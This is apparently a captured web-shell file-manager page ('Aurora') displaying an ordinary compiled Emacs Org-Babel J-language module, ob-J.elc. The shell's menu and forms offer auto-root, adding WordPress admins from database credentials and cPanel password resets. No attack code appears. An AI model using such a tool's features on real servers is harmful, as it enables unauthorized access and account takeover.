Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
emacs
27.2
lisp
org
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: ob-J.elc
;ELC ;;; Compiled ;;; in Emacs version 27.2 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\303\304\305\306\307DD\310\311\312\313\314\315\316\317\320& \207" [require ob org-macs custom-declare-variable org-babel-J-command funcall function #[0 "\300\207" [#1="jconsole"] 1 #1#] "Command to call J." :group org-babel :version "26.1" :package-version (Org . "9.0") :type string] 12) #@138 Expand BODY according to PARAMS, return the expanded body. PROCESSED-PARAMS isn't used yet. (fn BODY PARAMS &optional PROCESSED-PARAMS) (defalias 'org-babel-expand-body:J #[770 "\300!\207" [org-babel-J-interleave-echos-except-functions] 5 (#$ . 736)]) #@65 Interleave echo',' between each source line of BODY. (fn BODY) (defalias 'org-babel-J-interleave-echos #[257 "\300\301\302\303\"\304#\207" [mapconcat identity split-string "\n" "\necho','\n"] 6 (#$ . 996)]) #@83 Interleave echo',' between source lines of BODY that aren't functions. (fn BODY) (defalias 'org-babel-J-interleave-echos-except-functions #[257 "\300\301\"\203, \302\303\211\224#\304\303\"\302\303\225\"\305\230\203 \305\202% \306!\307P\307\310!R\207\306!\207" [obj-string-match-m "\\(?:^\\|\n\\)[^\n]*\\(?:0\\|1\\|2\\|3\\|4\\|dyad\\) : 0\n.*\n)\\(?:\n\\|$\\)" substring 0 match-string "" org-babel-J-interleave-echos "\necho','\n" org-babel-J-interleave-echos-except-functions] 9 (#$ . 1211)]) (defalias 'org-babel-execute:j 'org-babel-execute:J) #@140 Execute a block of J code BODY. PARAMS are given by org-babel. This function is called by `org-babel-execute-src-block'. (fn BODY PARAMS) (defalias 'org-babel-execute:J #[514 "\301\302!\210\303!\304\236A\305\236\211\203 \211A\202 \306\262\307#\310\311!\312!\210\313\314\230\203_ \315\316!\317\320\321\322\323!\324\"\325$\216r\211q\210c\210)r\211q\210\326\327\211\327\320%\210*\266\330\331\332#\333\"\202c \334\"!\207" [org-babel-J-command message "executing J source code block" org-babel-process-params :session :sit 0.1 org-babel-expand-body:J org-babel-temp-file "J-src" org-babel-j-initiate-session org-babel-J-strip-whitespace "none" generate-new-buffer " *temp file*" make-byte-code 0 "\301\300!\205 \302\300!\207" vconcat vector [buffer-name kill-buffer] 2 write-region nil org-babel-eval format "%s < %s" "" org-babel-J-eval-string] 16 (#$ . 1776)]) #@78 Sends STR to the `j-console-cmd' session and executes it. (fn STR SIT-TIME) (defalias 'org-babel-J-eval-string #[514 "\300 r\301!q\210db\210\302\303\"c\210`\304 \210\305!\210\306d\"\262)\207" [j-console-ensure-session process-buffer format "\n%s\n" comint-send-input sit-for buffer-substring-no-properties] 7 (#$ . 2662)]) #@55 Remove whitespace from jconsole output STR. (fn STR) (defalias 'org-babel-J-strip-whitespace #[257 "\300\301\302\303\304\305\306\307\310#\"\"\311#\207" [mapconcat identity delete "" mapcar org-babel-J-print-block split-string "^ *,\n" t "\n\n"] 11 (#$ . 2997)]) #@163 Return a number to describe STR alignment. STR represents a table. Positive/negative/zero result means right/left/undetermined. Don't trust first line. (fn STR) (defalias 'obj-get-string-alignment #[257 "\211\300\301\203 \302\202\f \303\304\301\305\304##\266\202\306\307\310#\300\211G\311X\203( \312\202\252 G\313U\203] \314@!\247\203Y \314A@!\247\203Y \315@!\211\262\203Y \315A@!\211\262\203Y \211\202\252 \312\202\252 \316@!\204h \312\202\252 \316A@!\211\262\203\210 \316\3138!\211\262\203\210 U\203\210 \202\252 \315A@!\211\262\203\251 \315\3138!\211\262\203\251 U\203\251 [\202\252 \312\207" [nil replace-regexp-in-string "\\`\\([ ]*\n\\)+" "\\`[ \n ]+" "" "[ \n ]+\\'" split-string "\n" t 1 0 2 read obj-match-second-space-right obj-match-second-space-left] 10 (#$ . 3269)]) #@37 Prettify jconsole output X. (fn X) (defalias 'org-babel-J-print-block #[257 "\211\300\301\203 \302\202\f \303\304\301\305\304##\266\202\306!\307\310\311#\300\312W\2036 \313@!\262\314\\\315\"P\202N \312V\203M \316@!\262\314Z\315\"P\202N \207" [nil replace-regexp-in-string "\\`\\([ ]*\n\\)+" "\\`[ \n ]+" "" "[ \n ]+\\'" obj-get-string-alignment split-string "\n" t 0 obj-match-second-space-right make-string 32 obj-match-second-space-left] 10 (#$ . 4087)]) #@78 Return position of leftmost space in second space block of S or nil. (fn S) (defalias 'obj-match-second-space-left #[257 "\300\301\"\205 \302\224\207" [string-match "^ *[^ ]+\\( \\)" 1] 4 (#$ . 4573)]) #@79 Return position of rightmost space in second space block of S or nil. (fn S) (defalias 'obj-match-second-space-right #[257 "\300\301\"\205 \302\224\207" [string-match "^ *[^ ]+ *\\( \\)[^ ]" 1] 4 (#$ . 4784)]) #@134 Call (string-match REGEXP STRING START). REGEXP is modified so that .* matches newlines as well. (fn REGEXP STRING &optional START) (defalias 'obj-string-match-m #[770 "\300\301\302\303##\207" [string-match replace-regexp-in-string "\\.\\*" "[ -\377[:nonascii:]]*"] 8 (#$ . 5004)]) #@90 Initiate a J session. SESSION is a parameter given by org-babel. (fn &optional SESSION) (defalias 'org-babel-j-initiate-session #[256 "\211\300\230?\205 \301\302!\210\303 \207" ["none" require j-console j-console-ensure-session] 3 (#$ . 5297)]) (provide 'ob-J)